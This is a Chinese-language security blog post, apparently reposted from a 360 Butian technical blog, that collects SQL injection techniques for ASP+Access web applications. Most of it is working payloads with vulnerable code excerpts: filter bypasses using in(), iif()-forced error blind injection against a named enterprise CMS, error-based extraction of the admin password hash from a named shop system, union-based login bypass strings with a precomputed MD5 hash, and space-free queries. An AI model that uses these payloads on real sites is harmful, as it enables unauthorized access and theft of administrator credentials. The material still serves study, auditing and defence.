ASP+ACCESS SQL注射技巧小记

admin 2022年3月17日10:11:37评论101 views字数 5429阅读18分5秒阅读模式

0x01 当盲注遭遇过滤“<”、“>”、“=”时

有些程序员对于防御SQL注入采用的方法是仅仅过滤“<”、“>”、“=”以及单引号等字符来达到无法猜解数 据的目的,这样的过滤有多种绕过方法,首先想到的是利用“between and”,当然这里不讨论“between and”,给出另外一种小技巧,如以下的SQL语句:

select * from table where id=SQL

其中的SQL是我们可以构造的部分,同时这个页面对于获取的参数过滤“<”、“>”、“=”并且无法利用union来注射,在不利用“between and”的情况下,我们这样构造:

select * from table where id=1 and (select asc(mid(username,1,1)) from admin where asc(mid(username,1,1)) in(97))

利用in()来达到判断的目的,语句为判断管理员用户名的第一个字符是否为a,其中的97为字符a的ascii编码。
0x02 iif()函数在access注射中的应用
对于一些特殊的注入,ACCESS下的iif()函数还是比较有用的,比如用经典“and 1=1”和“and 1=2”判断注入时,页面返回无差异时,access数据库下无法像mysql那样利用时间差来注射,利用iif()
可以让返回的“无差异页面”差异化……,这里我以南方数据企业网站管理系统 v16的一个注射点为例,先看到代码:

  set rs = server.createobject("adodb.recordset")
sql
="select * from Southidc_"&request("Range")&"Sort where ViewFlag and ParentID="&ParentID&" order by ID asc"
rs
.open sql,conn,1,1
if conn.execute("select ID from Southidc_"&request("Range")&"Sort Where ViewFlag and ParentID=0").eof then
response
.write "暂无相关信息"
else
do while not rs.eof

细心的朋友一眼就能发现注射点,request("Range")带入了两句SQL,注射点比较特殊,可以提交表名,但是因为带入了两句SQL语句,所以利用起来比较麻烦,因为access数据库没有注释符,所以必须用union联合查询来闭合,但是因为带入了两句SQL语句,联合查询在执行:

select ID from Southidc_"&request("Range")&"Sort Where ViewFlag and ParentID=0

会出现字段数不符报错,因为“select ID from Southidc_”查询的是一个字段,而上一句SQL“select * from Southidc_”查询的是多个字段,因此,无论我们如何构造SQL语句,都没办法使字段数相等,这里我们利用access的iif()函数来强制报错,当查询为真时,会出现字段数不符报错,查询为假时利用iif()函数强制报错爆出另外一个错误,就可以进行盲注判断了。比如提交Range为:

NewsSort where 2=iif((1=1),2,'a') union select * from Southidc_News

把其中的1=1换成SQL注入语句就可以了,比如提交Range为:

NewsSort where 2=iif(((select top 1 asc(mid(AdminName,1,1)) from [Southidc_Admin])=97),2,'a') union select * from Southidc_News

这个时候报错,如图1:

ASP+ACCESS SQL注射技巧小记
判断管理员用户名第一个字符是否为a,如果查询为真,就会报错如上图,如果为假,比如我们提交:

NewsSort where 2=iif(((select top 1 asc(mid(AdminName,1,1)) from [Southidc_Admin])=98),2,'a') union select * from Southidc_News

就会报出另外一个我们利用iif函数强制报错爆出的错误,如图2。

2='a'强制类型转换当然会报错了……“标准表达式中数据类型不匹配”。
0x03 ACCESS也玩“爆库”
说到ACCESS“爆库”,很多朋友可能会想到access的%5c爆物理路径这个经典的漏洞,但这里不是指这个,而是类似mssql、mysql那样的,通过报错爆出数据库数据,虽然有点小鸡肋。看到某商城系统的一段代码:

<%
Server.ScriptTimeout=20
Response.Charset="gb2312"
scid
=Request("scid")
if scid<>"" Then
set Frs=lodo_Execute("Select Lodo_ShopingCar.Gid as Gid,Lodo_ShopingCar.GQuantity as GQuantity,Lodo_OrderForm.OrderState as OrderState,Lodo_OrderForm.OrderPayState as OrderPayState,Lodo_OrderForm.Ordernumber as Ordernumber from Lodo_ShopingCar,Lodo_OrderForm where Lodo_OrderForm.Ordernumber=Lodo_ShopingCar.OrderNum And Lodo_ShopingCar.ID="&scid)
If Not(Frs.Eof Or Frs.Bof) Then
'判断是否支付
if Frs("OrderState")=4 Or Frs("OrderState")=5 Or Frs("OrderPayState")=1 Then
Response.Write "
    "
    Set Rs=lodo_Execute("Select Top "&Frs("GQuantity")&" Contents from Lodo_CGoods where Status=1 And PurchaseOrder='"&Frs("
    Ordernumber")&"' And GoodsID="&Frs("Gid"))
    CGnum=0
    Do While Not Rs.Eof And CGnum

注意到其中的一句代码:

if Frs("OrderState")=4 Or Frs("OrderState")=5 Or Frs("OrderPayState")=1 Then

把数据库中的数据Frs("OrderState")拿去和4做比较!这样导致的问题是,如果我们通过union查询注入,通过Frs("OrderState")返回的结果,当执行到Frs("OrderState")=4时,程序会报错,同时微软很友好的把报错的数据也显示出来,比如上面的SQL,我们提交scid为:

1 union select 1,2,adminpass,4,5 from lodo_adminuser

通过控制Frs("OrderState")返回结果为管理员密码hash,当执行到Frs("OrderState")=4时,页面会报错,如图3。

ASP+ACCESS SQL注射技巧小记
ASP+ACCESS SQL注射技巧小记

这样的代码虽然见的不多,但还是有的,这也是其鸡肋之处。

0x04 “on error resume next”引发的血案
对于早期的%5c爆access数据库物理路径漏洞,很多程序员的解决方案是在数据库连接文件conn.asp中加入一句容错代码来解决,当然这样做是修复了漏洞,但是可能引发另外的一些问题,看到代码:

conn.asp:
<%
on error resume
next
connstr
= "Provider=microsoft.jet.oledb.4.0;data source="&server.MapPath("inc/db.mdb")
set conn = server.CreateObject("adodb.connection")
conn
.open connstr
%>

接着看到test.asp的代码:

<%   
id
= request("id")
id
= cint(id)
set rs = server.CreateObject("adodb.recordset")
sql
= "select * from news where id="&id
rs
.open sql,conn,1,3
response
.write rs("news")
rs
.close
set rs = nothing
%>
<%set conn = nothing%>

这段代码看似没有漏洞,其实是存在SQL注入的,原因是如果conn.asp没有添加“on error resume next”容错语句的话,我们提交的id如果不为int型,test.asp页面会报错并终止执行,但如果conn.asp有“on error resume next”容错语句,test.asp页面不会报错,而是跳过id = cint(id)报错语句继续执行!最终导致的结果是,过滤失效,SQL注入、逻辑漏洞等等问题。
0x05 新型万能登陆密码
“万能密码”相信搞入侵的朋友不会陌生,诸如此类“'or'='or'”、“' or ''='”,漏洞原理比较简单,比如下面的SQL:

sql = "select * from admin where UserName='"&username&"' And PassWord='"& password &"'"

其中的username变量和password变量可控,当我们提交username为“' or ''='”,密码任意时可以直接绕过验证登陆系统,为了应对此类漏洞,很多程序员采用下面的写法:

<%
dim
LoginName,LoginPassword,AdminName,Password,AdminPurview,Working,UserName,rs,sql,mycode
LoginName=trim(request.form("LoginName"))
LoginPassword=Md5(request.form("LoginPassword"))
mycode
= trim(request.form("code"))
set rs = server.createobject("adodb.recordset")
sql
="select * from admin where AdminName='"&LoginName&"'"
rs
.open sql,conn,1,3

if rs.eof then
response
.write ""
response
.end
else
AdminName=rs("AdminName")
Password=rs("Password")
AdminPurview=rs("AdminPurview")
Working=rs("Working")
UserName=rs("UserName")
end if

if LoginPassword<>Password then
response
.write ""
response
.end
end if

'登陆成功代码省略
以上代码虽然解决了“万能密码”登陆漏洞,但是没有从根本上解决SQL注入问题,虽然把用户提交的密码Password与数据库查询返回密码rs("Password")做了置后比较,但是如果我们可以通过SQL控制rs("Password")的返回结果,就可以通过“新型万能密码”登陆了,比如以上代码,我们提交LoginName为:

' union select 1,2,'268a5c2004f54de708ee2ce0dac3c411',4,5,6 from admin where '1'='1

密码为:my5t3ry就可以直接登陆系统了,其中268a5c2004f54de708ee2ce0dac3c411为my5t3ry的MD5加密hash,union select 后的字段数要与admin表匹配,Password在表中的第3列,因此替换3为MD5,通过SQL注入控制rs("Password")的返回结果,实现了“新型万能密码”。
0x06 不使用空格的SQL语句
SQL注入的时候,可能遇到过滤空格的情况,比如正常的SQL语句select id from table,经过过滤之后,变为selectidfromtable,语句都挤到一块去了,最终导致注入失败。在access下,可以利用()[]等来避免使用空格,上面的语句可以这样写:

select(id)from[table]where[id]=1

这样就避免了空格,另外在mssql下还可以用%09、%0D0A等字符来替代空格,access也是可行的。
最后,关于ASP+ACCESS环境的SQL注射及审计小技巧就分享到这里,欢迎各位朋友拍砖,另外,本文参考了oldjun、gogorq、寂寞的刺猬等大牛的文章,在此谢过。



文章来自360补天技术博客,干货较多,所以分享。

本文始发于微信公众号(关注安全技术):ASP+ACCESS SQL注射技巧小记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月17日10:11:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ASP+ACCESS SQL注射技巧小记http://cn-sec.com/archives/503217.html

发表评论

匿名网友 填写信息